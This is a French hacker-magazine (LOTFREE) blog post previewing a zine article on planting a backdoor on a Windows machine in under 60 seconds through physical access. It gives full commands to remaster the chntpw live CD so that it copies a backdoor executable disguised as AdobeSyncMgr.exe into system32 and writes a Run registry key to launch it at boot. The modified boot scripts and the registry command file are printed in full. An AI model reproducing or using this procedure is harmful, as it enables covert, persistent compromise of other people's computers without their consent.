Hackeuses, hackers, discordiennes, discordiens,
Nous vous souhaitons à tous un joyeux noël.
Vous ne trouverez pas un nouveau magazine génial sous le sapin cette année mais sachez que la fabrication du LOTFREE9 avance 
L’interface finale est torchée et la rédaction des articles va bon train. Toutefois nous espérons toujours recevoir des articles dans notre boite mail. Pour cela je vous renvoi au call for paper. Soyez pas timides
Mais comme on tenait à marquer le coup, on vous offre en avant première pour noël un article extrait du LOTFREE9.
Les scripts attachés à l’article sont téléchargeables ici.
Bonne lecture.
60 secondes chrono pour pwner une machine Windows
Chapitre 1, dans lequel vous avez un aperçu du bouzin
Dans le présent article on va s’attarder sur la façon dont il est possible de placer dans le plus court espace de temps un exécutable sur une machine Windows. Le genre de truc spécialement pratique pour les forces de l’ordre des fois qu’ils voudraient mettre sous cyber-écoute un potentiel terroriste et que le bestiaud s’est absenté histoire de faire pleurer le colosse.
Ca vous permettra aussi de vous imposer en tant que hacker “et mes rites” dans les conversations animées du dimanche, des fois qu’un gravos vous facilite le transit intestinal biscotte il affirme que vous êtes pas capable de pwner son Vin dose Vista.
Oeuf-course vous relevez le défi et vous surenchérissez en disant que sa belle-pomme tiendra même pas 60 secondes dans vos mains expertes !
Ce miracle Mesdames, Mesdemoiselles, Messieurs il est possible car vous aurez gardé précieusement sur vous le dernier joujou signé LOTFREE qu’on va vous en parler dans le présent article.
Je rajouterais au passage que le titre indique 60 secondes chronos mais lors de nos tests on tournait plus autour de 40/50 secondes et sans forcer not’ talent. Quelques modifications supplémentaires dans les scripts (comme automatiser la sélection de la partition) et vous pouvez sans problèmes descendre à 30 secondes. De quoi faire manger son bitos à l’autre importun et de repartir avec sa gerse pour un tour de radada.
Chapitre 2, dans lequel vous nous appellerez Gérard Majax
Tout bon tour de magie se fait avec de bons accessoires. Dans notre cas on veut pouvoir pwner n’importe quel système Windows sans avoir à se mesurer à ses protections.
Le plus simple vous en conviendrez c’est de s’attaquer à l’animal quand il est endormi, qu’on lui introduit une saleté dans le système et qu’elle se mette en marche quand il se réveille.
Pour cela on utilisera un live CD capable d’écrire sur du NTFS. On placera alors l’exécutable win32 que l’on souhaite sur la bécane.
Mais pour bien faire les choses il faut aussi créer une clé de registre Run sur la machine de notre victime sans quoi ça n’a aucune utilité.
Enfin, derniere pirogue active, faut que tout se fasse très rapidement. On voudrait pas avoir à justifier notre présence auprès d’un mec qui sort jamais sans son 9.
L’outil qui nous servira de base et qui répond à toutes nos attentes se nomme chntpw. Vous avez dû déjà en entendre parler puisque vous êtes du milieu. Pour les zotres qui ne suivent pas il s’agit d’un soft qui permet de vider le mdp du compte admin local sur la machine. Mais il dispose aussi d’autres fonctionnalités intéressantes. D’abord :
- Il est rapide. L’iso original pèse 4.5Mo si ça vous donne une idée
- Il inclus les drivers NTFS-3G pour écrire sur du NTFS
- Il a une fonctionnalité injustement méconnue : un petit éditeur de registre intégré (option -e)
A vrai dire, la fonction d’édition du registre on l’a découvert sur le coup, un peu en trifouillant. On pensait reprendre le code source en C et le modifier à notre sauce mais comme finalement il est possible d’utiliser directement chntpw et de lui balancer des commandes sur stdin (via un pipe), autant faire au plus simple
La première étape est de récupérer l’archive zip contenant l’image iso de chntpw. Lors de ces lignes le fichier s’appelle cd110511.zip. Toutes les commandes ont été lancées sur un système Unix mais les plus bidouilleurs parviendront peut-être à faire de même sous Windows.
On supposera que toutes les opérations ont été faites depuis le dossier /tmp et en root (important biscotte la présence de dossiers style dev, proc & co). La seconde étape consiste à monter l’iso et faire une copie de tous les fichiers du disque. On tapera les commandes suivantes :
cd /tmp
mkdir disque
mount -o loop,ro cd110511.iso /mnt/
cp -rv /mnt/* disque/
umount /mnt/
Avouez que ce n’était pas bien difficile… Maintenant on va devoir extraire l’image initrd présente sur le disque. L’extension .cgz je connais pas mais après un gunzip, un coup de file indique que c’est une archive cpio (classique pour les initrd). On utilisera les commandes suivantes pour extraire les fichiers :
mkdir temp_initrd
cp disque/initrd.cgz temp_initrd/
cd temp_initrd/
mv initrd.cgz initrd.cpio.gz
gunzip initrd.cpio.gz
cpio -id < initrd.cpio
rm initrd.cpio
Passons aux choses sérieuses : on va modifier amaguiz les scripts de boot de l'initrd. Ils sont dans le dossier scripts obtenu lors du désarchivage. Ensuite reste plus qu'à placer aussi l'exe kivabien + les commandes destinées à chntpw.
L'ordre d'exécution des scripts tel que défini sur chntpw suit le cheminement suivant (remarquez au passage nos m4d l33t 4sc11 sk!11z)
init
|
stage2 +-> prepdriver ---+-> fetchdrv -> floppy
+-> cat banner1 +-> autoscsci
+-> main -+-> disk -> diskscan
+-> path
+-> chntpw -L -i $files
+-> write
On va modifier quelques fichiers pour arriver à nos fins. Je n'entre pas dans les détails des modifications, si vous décidez de créer votre propre iso vous devriez trouver sans trop de difficultées quoi modifier.
Perso j'ai commencé par banner1 histoire de placer un petit logo LOTFREE en plus du copyright chntpw 
J'ai ensuite modifié path.sh qui demande normalement quelle ruche (fichier registre) nous intéresse et résoud les paths windows en conséquence. Comme on sait que pour les clés Run la ruche est software, on retire la partie demandant de choisir et on force la variable files à $rcfiles. Le script path.sh place les paths des ruches dans le fichier /tmp/files et le chemin de ces ruches (windows\system32\config) dans le fichier /tmp/regpath qui sont utilisé par les autres scripts.
cd scripts/
vi banner1
vi path.sh
Etape suivante : on modifie main.sh parce que c'est ici qu'à lieu l'appel à chntpw. Dans ce script il y a moyen de gagner du temps, par exemple si vous connaissez à l'avance le path complet de la ruche de votre victime.
Comme on va mettre tous nos codes dans le dossier scripts du disque et qu'il se trouvera à la racine une fois le système monté, on rectifie l'appel à chntpw de la façon suivante :
cd /tmp
files=`cat /tmp/files`
echo "LOTF: Copie de la backdoor..."
cpnt /scripts/lotf-bd.exe /disk/`cat regpath`/../AdobeSyncMgr.exe
echo "LOTF: Edition du registre..."
cat /scripts/cmds.txt | chntpw -e $files
On suppose ici que notre exécutable lotf-bd.exe sera copié sous le nom AdobeSyncMgr.exe dans le dossier system32 de windows et que cmds.txt contient les commandes envoyées à chntpw qui sont les suivantes :
cd Microsoft\Windows\CurrentVersion\Run
nv 1 AdobeSyncMgr
ed AdobeSyncMgr
C:\Windows\System32\AdobeSyncMgr.exe
q
y
chntpw permettant de naviguer dans l'arborescence du registre comme on le ferait dans un dossier, ne soyez pas surpris d'y voir la commande cd
Ici on crée une clé AdobeSyncMgr dans Run qui pointe vers notre exécutable.
Pour reprendre à la modification de nos scripts on est en à :
vi main.sh
vi write.sh
cp ~lotfree/issue9/cmds.txt .
cp ~lotfree/issue9/lotf-systembd.exe lotf-bd.exe
Le dernier script que l'on modifiera est write.sh car pour le moment, tout ce qu'on fait faire au live CD c'est une modification d'une copie d'une ruche placée dans /tmp.
Le script write.sh fait appel à un binaire spécial qui s'appelle cpnt qu'il faut impérativement utiliser car le cp classique ne copiera pas vos fichiers vers du NTFS.
Le contenu de ce script sera :
fstype=`cat /tmp/fs`
usepart=`cat /tmp/disk`
sampath=`cat /tmp/regpath`
files=`cat /tmp/files`
for f in $files; do
echo "Writing $f to $sampath"
cpnt /tmp/$f /disk/$sampath/$f
done
sync
umount /disk
exit 0
Last but not least, on doit tout remettre en place : recréer l'initrd, le gzipper comme il était et recréer un iso valide avec mkisofs. Notez que certains outils d'archivages permettent de jouer sur les fichiers isos mais les cd bootables se basent sur un soft baptisé isolinux qui vérifie rapidement le checksum du disque à son lancement. On pourra en notre qualité de hackers cracker la vérification d'isolinux mais c'est une autre histoire...
cd ..
find ./ | cpio -H newc -o > ../new_initrd.cpio
cd ..
rm -r temp_initrd/
gzip new_initrd.cpio
mv new_initrd.cpio.gz disque/initrd.cgz
cd disque
mkisofs -R -o ../lotfdisk.iso -b isolinux.bin -c boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table .
cd ..
rm -r disque/
Chapitre 3, dans lequel vous vous confondez en remerciements
Il ne vous reste plus qu'à graver le fichier lotfdisk.iso que vous aurez généré et à vous les pwnages en moins de 60 secondes chrono B-) Elle est pas belle la vie ?
LOTFREE, Magazine